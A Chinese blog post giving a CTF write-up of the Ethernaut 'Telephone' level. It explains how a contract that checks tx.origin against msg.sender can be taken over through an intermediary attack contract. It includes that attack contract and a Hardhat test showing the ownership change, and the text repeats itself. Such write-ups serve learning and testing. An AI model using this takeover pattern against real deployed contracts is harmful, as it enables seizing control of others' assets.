开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。
“`
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
“`
这道题就是理解` tx.origin` 和` msg.sender`的区别:[https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin](https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin) 也就是说`msg.sender`不一定是个人地址,有可能是合约地址,`tx.origin`一定是个人地址,一般在写合约尽量不要使用`tx.origin`,会判断失误出现bug。
解题思路:1.创建攻击合约;2.用攻击合约去调用`changeOwner`,满足` tx.origin != msg.sender`;
攻击合约:
“`
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephoneinterface {
function changeOwner(address _owner) external;
}
contract AttackTelephone {
Telephoneinterface telephone;
address public owner;
constructor(address _telephone) public {
telephone = Telephoneinterface(_telephone);
owner = msg.sender;
}
function attack() public {
telephone.changeOwner(owner);
}
}
“`
测试脚本:
“`
const { expect } = require(“chai”);
const { ethers } = require(“hardhat”);
const { MaxUint256 } = require(“@ethersproject/constants”);
const { BigNumber } = require(“ethers”);
describe(“test”, function () {
var Telephone;
var AttackTelephone;
it(“init params”, async function () {
[deployer, …users] = await ethers.getSigners();
});
it(“deploy”, async function () {
const TelephoneInstance = await ethers.getContractFactory(“Telephone”);
Telephone = await TelephoneInstance.deploy();
const AttackTelephoneInstance = await ethers.getContractFactory(“AttackTelephone”);
AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);
});
it(“hack test”, async function () {
expect(await Telephone.owner()).to.equal(deployer.address);
await AttackTelephone.attack();
expect(await Telephone.owner()).to.equal(users[0].address);
});
});
“`
运行结果:

Github:[hardhat测试仓库](https://github.com/Verin1005/Hardhat-Ethernaut)
Telephone合约
任务:获取合约的所有权,也就是改变owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这道题就是理解tx.origin
和msg.sender
的区别:https://ethereum.stackexchange.com/questions/1891/whats-the-difference-between-msg-sender-and-tx-origin 也就是说msg.sender
不一定是个人地址,有可能是合约地址,tx.origin
一定是个人地址,一般在写合约尽量不要使用tx.origin
,会判断失误出现bug。
解题思路:1.创建攻击合约;2.用攻击合约去调用changeOwner
,满足tx.origin != msg.sender
;
攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephoneinterface {
function changeOwner(address _owner) external;
}
contract AttackTelephone {
Telephoneinterface telephone;
address public owner;
constructor(address _telephone) public {
telephone = Telephoneinterface(_telephone);
owner = msg.sender;
}
function attack() public {
telephone.changeOwner(owner);
}
}
测试脚本:
const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
describe("test", function () {
var Telephone;
var AttackTelephone;
it("init params", async function () {
[deployer, ...users] = await ethers.getSigners();
});
it("deploy", async function () {
const TelephoneInstance = await ethers.getContractFactory("Telephone");
Telephone = await TelephoneInstance.deploy();
const AttackTelephoneInstance = await ethers.getContractFactory("AttackTelephone");
AttackTelephone = await AttackTelephoneInstance.connect(users[0]).deploy(Telephone.address);
});
it("hack test", async function () {
expect(await Telephone.owner()).to.equal(deployer.address);
await AttackTelephone.attack();
expect(await Telephone.owner()).to.equal(users[0].address);
});
});
运行结果:
Github:hardhat测试仓库
本文参与区块链开发网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2天前
- 阅读 ( 88 )
- 学分 ( 2 )
- 分类:智能合约
,